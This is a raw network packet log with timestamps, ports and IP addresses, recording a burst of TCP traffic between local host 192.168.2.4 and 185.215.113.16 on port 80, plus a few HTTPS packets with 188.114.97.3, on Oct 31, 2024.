Oct 31, 2024 04:16:16.654297113 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.654311895 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.654328108 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.654340029 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.654360056 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.655200005 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.655251026 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.655268908 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.655311108 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.655344009 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.655392885 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.655409098 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.655452013 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.655518055 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.655538082 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.655569077 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.655580997 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.655625105 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.655642033 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.655688047 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.655719995 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.655736923 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.655751944 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.655766010 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.655769110 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.655785084 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.655792952 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.655802965 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.655817032 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.655822992 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.655849934 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.656137943 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656184912 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.656193972 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656209946 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656240940 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.656255960 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.656327963 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656343937 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656358004 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656375885 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.656383038 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656384945 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.656399012 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656411886 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.656416893 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656423092 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.656439066 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.656440020 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656462908 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.656490088 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.656513929 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656528950 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656543970 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656574965 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.656599045 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.656618118 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656635046 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656651020 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656667948 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656667948 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.656677008 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.656685114 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656697989 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.656712055 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656733036 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.656735897 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656757116 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.656763077 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656778097 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656779051 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.656793118 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656809092 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656810999 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.656826019 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656831980 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.656843901 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656862974 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.656878948 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656894922 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656908035 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.656915903 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.656928062 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656929016 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.656943083 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656960011 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656966925 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.656981945 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.656985044 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.656996965 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.657018900 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.657020092 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.657033920 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.657063007 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.657072067 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.657161951 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.657176018 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.657213926 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.658014059 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.658030033 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.658046007 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.658061981 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.658087969 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.658118963 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.658123016 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.658135891 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.658171892 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.658416033 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.658464909 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.658468962 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.658485889 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.658513069 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.658524990 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.658531904 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.658541918 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.658559084 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.658574104 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.658586979 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.658617020 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.658688068 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.658704042 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.658720016 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.658731937 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.658766985 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.658818007 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.658866882 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.658879042 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.658894062 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.658909082 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.658926010 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.658936977 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.658951998 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.659020901 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.659034967 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.659066916 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.659081936 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.659393072 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.659419060 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.659432888 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.659466028 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.659492970 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.659493923 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.659511089 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.659559011 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.659583092 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.659600973 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.659615040 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.659631968 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.659632921 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.659647942 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.659662962 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.659693956 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.659770012 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.659782887 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.659816980 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.659840107 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.660010099 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.660026073 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.660041094 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.660078049 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.660093069 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.660161018 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.660176039 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.660192013 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.660207987 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.660223961 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.660248041 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.660281897 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.660296917 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.660311937 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.660326004 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.660334110 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.660367012 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.660394907 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.660425901 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.660442114 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.660451889 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.660458088 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.660487890 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.660514116 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.698551893 CET	443	49860	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:16.698662996 CET	443	49860	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:16.698846102 CET	49860	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:16.698846102 CET	49860	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:16.800873995 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.800892115 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.800915956 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.800931931 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.800946951 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.800962925 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.800966978 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.800980091 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.800997019 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.801011086 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.801018000 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.801018000 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.801028013 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.801039934 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.801064014 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.801299095 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.801364899 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.801364899 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.801379919 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.801419020 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.801445961 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.801460981 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.801475048 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.801489115 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.801506042 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.801513910 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.801515102 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.801538944 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.801553965 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.801949024 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.801980972 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.801995993 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.802026033 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.802026987 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.802042961 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.802052975 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.802061081 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.802078009 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.802094936 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.802113056 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.802141905 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.802153111 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.802156925 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.802185059 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.802213907 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.802285910 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.802301884 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.802316904 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.802342892 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.802366018 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.802366018 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.802375078 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.802400112 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.802413940 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.802426100 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.802428961 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.802445889 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.802463055 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.802472115 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.802472115 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.802472115 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.802479982 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.802495956 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.802501917 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.802522898 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.802522898 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.802542925 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.802989960 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803025961 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803039074 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803050041 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.803054094 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803086042 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.803086042 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.803107977 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.803126097 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803142071 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803164005 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803179979 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803184986 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.803184986 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.803195953 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803205967 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.803212881 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803224087 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.803244114 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.803247929 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803261995 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.803332090 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.803339005 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803354979 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803369999 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803394079 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.803395033 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.803401947 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803416014 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.803419113 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803432941 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803457975 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803472996 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803474903 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.803488016 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803507090 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803518057 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.803520918 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803536892 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803539991 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.803586006 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803586960 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.803587914 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.803617001 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803666115 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.803709030 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803723097 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803735018 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803759098 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803770065 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.803774118 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803796053 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.803805113 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803816080 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.803822041 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803837061 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803850889 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.803885937 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.803905010 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803920031 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803935051 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.803961039 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.803961039 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.803993940 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.804003000 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804018021 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804033995 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804048061 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804061890 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804065943 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.804086924 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.804091930 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804105997 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.804116011 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804131031 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804167986 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.804199934 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.804460049 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804512024 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.804531097 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804544926 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804558992 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804578066 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.804582119 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804598093 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804603100 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.804614067 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804630041 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804636955 CET	49849	80	192.168.2.4	185.215.113.16
